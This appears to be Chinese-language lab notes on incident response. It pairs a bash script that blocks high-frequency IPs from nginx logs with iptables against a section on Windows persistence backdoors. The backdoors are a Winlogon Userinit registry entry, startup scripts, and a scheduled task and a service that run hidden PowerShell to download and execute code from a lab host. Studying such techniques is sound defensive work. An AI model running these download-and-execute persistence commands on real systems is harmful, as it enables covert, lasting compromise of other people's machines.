应急响应实验复现
linux高频访问 IP 监控与封禁
#!/bin/bash
# 日志文件路径
logfile=/tmp/test_nginx_log
last_minutes=60
# 开始时间1分钟之前(这里可以修改,如果要几分钟之内攻击次数多少次,这里可以自定义)
start_time=`date -d"$last_minutes minutes ago" +"%d/%m/%Y:%H:%M:%S"`
echo $start_time
# 结束时间现在
stop_time=`date +"%d/%m/%Y:%H:%M:%S"`
echo $stop_time
cur_date="`date +%d/%m/%Y`"
echo $cur_date
# 过滤出单位之间内的日志并统计最高ip数,请替换为你的日志路径
tac $logfile/access.log | awk -v st="$start_time" -v et="$stop_time" '{t=substr($4,2);if(t>=st && t<=et){print $1}}' |sort | uniq -c | sort -nr > $logfile/log_ip_top10
#ip_top=`cat $logfile/log_ip_top10 | head -1 | awk '{print $1}'`
# 出现横杠使用sed去掉第一行
#sed -i '1d' $logfile/log_ip_top10
# 单位时间[1分钟]内单ip访问次数超过200次的ip记录入black.txt
ip=`cat $logfile/log_ip_top10 | awk '{if($1 > 100)print $2}'`
for line in $ip
do
echo $line >> $logfile/getip.txt
echo $line
iptables -I INPUT -p tcp -m multiport --dport 80,443 -s $line -j DROP
done
创建测试日志
mkdir -p /tmp/test_nginx_log
touch /tmp/test_nginx_log/access.log
测试脚本
生成测试案例
for i in {1..101}; doecho "192.168.1.100 - - [04/08/2025:19:30:00 +0800] \"GET / HTTP/1.1\" 200 123" >> /tmp/test_nginx_log/access.log
done
测试脚本总体效果
Windows系统后门、权限维持
注册表后门
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "
C:\Windows\system32\userinit.exe,C:\Users\Public\payload.exe" /f
创建exe文件
将文件地址插入指定路径的注册表下(不能把前面的删掉,删掉就进不去了)
前:
后:
将服务器重启
检查效果
策略设置脚本启动
运行gpedit.msc进入本地组策略,通过Windows设置的“脚本(启动/关机)”项来说实现。因为其极具隐蔽性,因此常常被攻击者利用来做服务器后门。
注意!!!:脚本需全路径,如C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
计划任务
通过window系统的任务计划程序功能实现定时启动某个任务,执行某个脚本。
schtasks /create /sc minute /mo 1 /tn "Security Script" /tr "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\"\"\"http://192.168.28.142:8888/logo.gif\"\"\"))\""
容易遇到的问题:cmd命令行执行单引号会被替换成双引号,故这里使用三个双引号替代。
计划脚本每 1 分钟运行一次。
服务器自启动
通过服务设置自启动,结合powershell实现无文件后门
sc create "KeyName" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\" "
sc description KeyName "Just For Test" //设置服务的描述字符串
sc config Name start= auto //设置这个服务为自动启动
net start Name //启动服务